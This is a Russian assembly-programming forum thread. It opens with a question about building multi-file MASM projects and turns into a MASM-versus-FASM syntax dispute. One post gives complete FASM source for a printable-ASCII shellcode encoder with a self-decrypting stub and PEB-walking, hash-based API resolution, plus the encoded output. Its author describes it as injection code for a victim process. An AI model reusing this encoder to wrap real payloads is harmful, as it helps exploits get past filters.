Как собирать проект на masm, включающий в себя несколько asm файлов?

Тема в разделе "WASM.BEGINNERS", создана пользователем oxvlad, 28 авг 2009.

  1. AsmGuru62

    AsmGuru62 Member

    Публикаций:
    0
    Регистрация:
    12 сен 2002
    Сообщения:
    689
    Адрес:
    Toronto
    Great
    FASM придёт в массы - работаем над этим помаленьку... :derisive:
     
  2. Clerk

    Clerk Забанен

    Публикаций:
    0
    Регистрация:
    4 янв 2008
    Сообщения:
    6.689
    Адрес:
    РБ, Могилёв
    У васма тупой синтаксис, вобще среда гуан. Масм рулит, а спорить со мной бесполезно.)
     
  3. Clerk

    Clerk Забанен

    Публикаций:
    0
    Регистрация:
    4 янв 2008
    Сообщения:
    6.689
    Адрес:
    РБ, Могилёв
    *фасма
     
  4. max7C4

    max7C4 New Member

    Публикаций:
    0
    Регистрация:
    17 мар 2008
    Сообщения:
    1.203
    Clerk
    а ни кто не будет с тобой спорить, просто отправят за компанию с масмом стоять и курить тихонько в углу))) и вообще masm давно надо уже переименовать в masmc, т.к. там по моему не осталось уже ни одной нормальной команды, одни макросы да директивы.
     
  5. Clerk

    Clerk Забанен

    Публикаций:
    0
    Регистрация:
    4 янв 2008
    Сообщения:
    6.689
    Адрес:
    РБ, Могилёв
    max7C4
    Так тут все кто на фасме пишут в углу стоят, и вы похду тоже, не видел ни одного вашего кодеса достойного внимания. Всюду тупой копипаст. Смешно прям.
     
  6. max7C4

    max7C4 New Member

    Публикаций:
    0
    Регистрация:
    17 мар 2008
    Сообщения:
    1.203
    я же сказал. с вами ни кто не будет спорить. отправляйтесь к себе в угол и не мутите воду, тем более что нахваливаете масм а в тему топика ничего сказать не смогли.
    свои я видел, но кто сказал, что я их должен здесь выкладывать (бесплатно).
    вот тут я с вами не соглашусь. обычно все набираю на скорую руку прямо в браузере, максимум копирую цитаты и код на который отвечаю. а да. вы каждый раз ржете когда что-либо копируете? знаете, это возможно уже не вылечишь.
     
  7. Clerk

    Clerk Забанен

    Публикаций:
    0
    Регистрация:
    4 янв 2008
    Сообщения:
    6.689
    Адрес:
    РБ, Могилёв
    max7C4
    Я не копирую. В тему топика мне сказать нечего, директива include подключит остальные файлы.
    А ни и платно копибара никому не нужны, скомерсант.)
     
  8. Microedition

    Microedition Active Member

    Публикаций:
    0
    Регистрация:
    5 июн 2008
    Сообщения:
    814
    слава богу, у него нет тупых директив, наподобие. assume, offset
    model, ...

    нормальный интеловский синтаксис.
     
  9. max7C4

    max7C4 New Member

    Публикаций:
    0
    Регистрация:
    17 мар 2008
    Сообщения:
    1.203
    это можно считать официальным признанием того, что фанаты масма не знают как им пользоваться или они настолько обленились из-за постоянного использования макросредств, что и вразумительного до конца набрать ничего не могут.
    поправка, как минимум мне нужны (остальных нуждающихся не разглашаю по договору о конфиденциальности)
    ptr и директивы ограничения ("расширения", хотя тоже глупость) набора команд
    ну остальное более-менее полезное
    я бы даже сказал изначально чистый (без директив компилятору)
     
  10. Clerk

    Clerk Забанен

    Публикаций:
    0
    Регистрация:
    4 янв 2008
    Сообщения:
    6.689
    Адрес:
    РБ, Могилёв
    max7C4
    Я же не вы, мне на тупые вопросы нет желания отвечать, сказал ведь Include директиву использовать.
    Весьма полезная директива, позволяет отказаться от определения каждый раз имени структуры.
    mov eax,Variable
    Как это понять.. вот и указываем компилятору чтоб в регистр загрузил не значение переменной, а её адрес.
    Этот синтаксис ни один компилятор не использует в полном обьёме, иначе мы закалупались бы сегменты определять, хотя близкий - это насм(Nasm), который инлайн в пб.
     
  11. Microedition

    Microedition Active Member

    Публикаций:
    0
    Регистрация:
    5 июн 2008
    Сообщения:
    814
    для взятия значения нужны квадратные скобки
    Код (Text):
    1. ;; адрес
    2. mov    eax, 7C00h
    3.  
    4. ;; значение
    5. mov    eax, [7C00h]
     
  12. max7C4

    max7C4 New Member

    Публикаций:
    0
    Регистрация:
    17 мар 2008
    Сообщения:
    1.203
    вам требуется срочно разработать макрос, что бы отвечать на такие вопросы, ведь не всегда же мы будем на них отвечать.
    с тем же успехом, но много короче mov eax, Variable и mov eax, [Variable]
    а тут много не надо. достаточно выбросить шелуху и стряхнуть пыль набравшуюся с годами и окажется, что вместо этих слов было ThisIsAddressOfNamedData, [ThisIsDataByAddress], а offset и ptr вводились для читебельности
    ничего больше и не изменяется (разве что выбрасываем кучу макросов, вернее делаем их опциональными (хочешь пиши, хочешь не пишм))
    теперь разрешаю вам повернуться и продолжать движение в сторону угла с масмом
     
  13. max7C4

    max7C4 New Member

    Публикаций:
    0
    Регистрация:
    17 мар 2008
    Сообщения:
    1.203
    так как остальное это трепология, то пора бы это закрывать.
     
  14. Clerk

    Clerk Забанен

    Публикаций:
    0
    Регистрация:
    4 янв 2008
    Сообщения:
    6.689
    Адрес:
    РБ, Могилёв
    Microedition
    Имя переменной и адрес её это разные весчи.
    Вот и про тоже, нет смысла пихать скобки куда не нужно. Загузка адреса переменной это редкая инструкция по сравнению с загрузкой значения переменной.
     
  15. Rockphorr

    Rockphorr Well-Known Member

    Публикаций:
    0
    Регистрация:
    9 июн 2004
    Сообщения:
    2.625
    Адрес:
    Russia
    Не надо горячится и ругать синтаксис построенный на другой вкус
    какое нам дело - пусть у товарищей фасма кнопки со скобками быстрей сотрутся

    По теме вроде все способы уже перечислили ....
     
  16. Clerk

    Clerk Забанен

    Публикаций:
    0
    Регистрация:
    4 янв 2008
    Сообщения:
    6.689
    Адрес:
    РБ, Могилёв
    Rockphorr
    Верно говоришь;
     
  17. l_inc

    l_inc New Member

    Публикаций:
    0
    Регистрация:
    29 сен 2005
    Сообщения:
    2.566
    Clerk
    Когда-то давно писал вот такой кусочек кода:
    Код (Text):
    1. USE32
    2.  
    3. start:
    4. jmp short endOfDecryptCode
    5.    getDelta:
    6.       pop ebx
    7.       push ebx
    8.    ret
    9.    jumpBackPtr:
    10.    call getDelta
    11.    add ebx,reservedPlace-$
    12.    decryptionCycle:
    13.       mov esi,dword[ebx]
    14.       sub ebx,-4
    15.       mov edi,dword[ebx]
    16.       sub ebx,-4
    17.       sub esi,'AAAA'
    18.       sub edi,'AAAA'
    19.       shl edi,1
    20.       shl edi,1
    21.       shl edi,1
    22.       shl edi,1
    23.       not esi
    24.       not edi
    25.       and esi,edi
    26.       not esi
    27.       push esi
    28.    cmp dword[ebx],'0000'
    29.    jne decryptionCycle
    30.    call esp
    31. endOfDecryptCode:
    32. jmp jumpBackPtr
    33.  
    34. virtual at 0
    35. ;############################################ The main code begin ##########################################
    36.  
    37. xor esi,esi
    38. mov ebx,[fs:30h]
    39. mov ebx,[ebx+0Ch]
    40. mov ebx,[ebx+1Ch]
    41. mov ebx,[ebx]
    42. mov ebx,[ebx+8]
    43. mov ecx,0D6F0C751h     ;ExitProcess
    44. call MyGetProcAddress
    45. mov ebp,eax
    46. mov ecx,53147777h      ;GetModuleHandleA
    47. call MyGetProcAddress
    48.    call @F
    49.       db 'user32.dll',0
    50.    @@:
    51. call eax
    52. mov ebx,eax
    53. mov ecx,2F56FC5Dh      ;MessageBoxA
    54. call MyGetProcAddress
    55.    push esi
    56.    call @F
    57.       db 'Good luck',0
    58.    @@:
    59.    call @F
    60.       db 'Injection code message',0
    61.    @@:
    62.    push esi
    63. call eax
    64.    push esi
    65. call ebp
    66.  
    67. ;IN:   EBX - base of library
    68. ;      ECX - hash of function name
    69. ;OUT:  EAX - function address
    70. MyGetProcAddress:
    71.     PUSH EDX
    72.     PUSH ESI
    73.     PUSH EDI
    74.     MOV ESI,EBX
    75.     ADD ESI,DWORD[ESI+3Ch]               ;ESI - PE header VA
    76.     MOV ESI,DWORD[ESI+78h]               ;ESI - IMAGE_EXPORT_DIRECTORY RVA
    77.     PUSH ESI
    78.     MOV ESI,DWORD[ESI+EBX+20h]           ;ESI - functions names array RVA
    79.     XOR EDX,EDX                          ;function ordinal will be saved in EDX
    80.     LEA EDI,[ESI+EBX]                    ;EDI - functions names array VA
    81.     .NextName:
    82.         MOV ESI,DWORD[EDI]
    83.         ADD ESI,EBX                      ;ESI - testing function name VA
    84.         CALL GetStrHash
    85.         CMP EAX,ECX
    86.         JE .GetAddr                      ;function name found
    87.         INC EDX
    88.         ADD EDI,4h
    89.    JMP .NextName
    90.    .GetAddr:
    91.    POP ESI
    92.    LEA EDI,[ESI+EBX]                ;EDI - IMAGE_EXPORT_DIRECTORY VA
    93.    MOV ESI,[EDI+24h]
    94.    ADD ESI,EBX                      ;ESI - array of functions ordinals
    95.    MOV DX,WORD[ESI+EDX*2]
    96.    SUB EDX,DWORD[EDI+10h]           ;subtracting the base ordinal
    97.    MOV ESI,[EDI+1Ch]
    98.    ADD ESI,EBX                      ;ESI - array of functions RVAs
    99.    MOV EAX,DWORD[ESI+EDX*4+4]
    100.    ADD EAX,EBX                      ;EAX - address (VA) of function
    101.    POP EDI
    102.    POP ESI
    103.    POP EDX
    104. RET
    105.  
    106. ;IN:   ESI - pointer to string
    107. ;OUT:  EAX - hash
    108. GetStrHash:
    109.    PUSH ESI
    110.    PUSH EDX
    111.    XOR EAX,EAX
    112.    @@:
    113.       MOV EDX,EAX                   ;\
    114.       SHL EAX,5                     ; > EAX=31*EAX
    115.       SUB EAX,EDX                   ;/
    116.       XOR EDX,EDX
    117.       MOV DL,BYTE[ESI]
    118.       ADD EAX,EDX
    119.       INC ESI
    120.    CMP BYTE[ESI],0
    121.    JNE @B
    122.    POP EDX
    123.    POP ESI
    124. RET
    125. ;############################################ The main code end ############################################
    126.    align 4
    127.    mainCodeSize = $-$$
    128.    display "Set the value "
    129.    display ((mainCodeSize/4) mod 100000)/10000 + '0'
    130.    display ((mainCodeSize/4) mod 10000)/1000 + '0'
    131.    display ((mainCodeSize/4) mod 1000)/100 + '0'
    132.    display ((mainCodeSize/4) mod 100)/10 + '0'
    133.    display ((mainCodeSize/4) mod 10) + '0'
    134.    display " in all rept-directives"
    135.    display 13,10
    136.    rept 55 i:0
    137.    {
    138.         load mainCodeDWORD#i dword from $$+i*4
    139.    }
    140. end virtual
    141.  
    142. reservedPlace rb mainCodeSize*2+4
    143.  
    144. codeEncryption:
    145.    .cntr = 0
    146.    rept 55 i:0
    147.    {
    148.       reverse
    149.       .a1 = (mainCodeDWORD#i  and 0Fh)
    150.       .a2 = (mainCodeDWORD#i  and 0F0h) shr 4
    151.       .b1 = (mainCodeDWORD#i  and 0F00h) shr 8
    152.       .b2 = (mainCodeDWORD#i  and 0F000h) shr 12
    153.       .c1 = (mainCodeDWORD#i  and 0F0000h) shr 16
    154.       .c2 = (mainCodeDWORD#i  and 0F00000h) shr 20
    155.       .d1 = (mainCodeDWORD#i  and 0F000000h) shr 24
    156.       .d2 = (mainCodeDWORD#i  and 0F0000000h) shr 28
    157.       store byte .a1 + 'A' at reservedPlace+.cntr*8
    158.       store byte .b1 + 'A' at reservedPlace+.cntr*8+1
    159.       store byte .c1 + 'A' at reservedPlace+.cntr*8+2
    160.       store byte .d1 + 'A' at reservedPlace+.cntr*8+3
    161.       store byte .a2 + 'A' at reservedPlace+.cntr*8+4
    162.       store byte .b2 + 'A' at reservedPlace+.cntr*8+5
    163.       store byte .c2 + 'A' at reservedPlace+.cntr*8+6
    164.       store byte .d2 + 'A' at reservedPlace+.cntr*8+7
    165.       .cntr = .cntr + 1
    166.    }
    167.    store dword '0000' at reservedPlace+.cntr*8
    И компилируется это в следующего вида бинарник:
    Код (Text):
    1. л<[SГишяяяѓГ6‹3ѓль‹;ѓльЃоAAAAЃпAAAAСзСзСзСзчЦчЧ!ючЦVЃ;0000uСяФлЕKODAFFMJOAFNDAHOBAGAANEIBCKGDNIBAFJAOACNAJCBMIMMDGCBMFFDIPOKNFFFEGEBEJAAMBOLBANIHALHFBIHLEGLIBFCEBOGCANGMOLHDBIHLNONOOFICDHEEIMAJIEGDMHAJAAACAAAHBOIDANONMOLIDBIOABCBCDNIGLEHFIHGMLGHDIHHJODFINAPFCGPNFFGPAGFPNFBHFAGGGANFDDGGHHPEFAGGGCPOADGGCGFDEJGGHGAJOKAEGGIHAAOBAAFDLAHGGAPEAMGGCGAAHPAAEGGIKAFOAACAAADAAAMGPIPFCOJDJNIMLFMAPAGAPNCOEMDCGGDFCDHGHDAAAFAAAHAAILAAOADIAAFOFAJHHELHHBAAJFAAIMGIMANOFAJBHALFMPLLLIBIFALLMLIFBIALLMAIFANAAABDAABGELDPGI0000
    Скажите, масм что-нибудь подобное может?
    P.S. Код писался, когда проблемы аппаратного DEP'а ещё не было. По крайней мере у меня. :)
    P.P.S. Причём здесь скобки? :)
     
  18. IceT

    IceT IceT

    Публикаций:
    0
    Регистрация:
    13 авг 2009
    Сообщения:
    233
    Адрес:
    RU
    l_inc, хоть я и за фасм всеми руками (еще зарелизять дебаг инфу и будет совсем хорошо), но чего такого в твоем коде, чего не смог бы масм?
     
  19. l_inc

    l_inc New Member

    Публикаций:
    0
    Регистрация:
    29 сен 2005
    Сообщения:
    2.566
    IceT
    Эм... код, который всегда компилируется в печатаемые ASCII-символы независимо от того, какой функциональностью его наполнить. Собственно функциональность вставляется между комментариями "The main code begin" и "The main code end". В данном случае там вставлен обычный шеллкод, показывающий сообщение и завершающий процесс-жертву. Но может быть что угодно.
     
  20. Clerk

    Clerk Забанен

    Публикаций:
    0
    Регистрация:
    4 янв 2008
    Сообщения:
    6.689
    Адрес:
    РБ, Могилёв
    l_inc
    И что тут не может скомпилить масм ?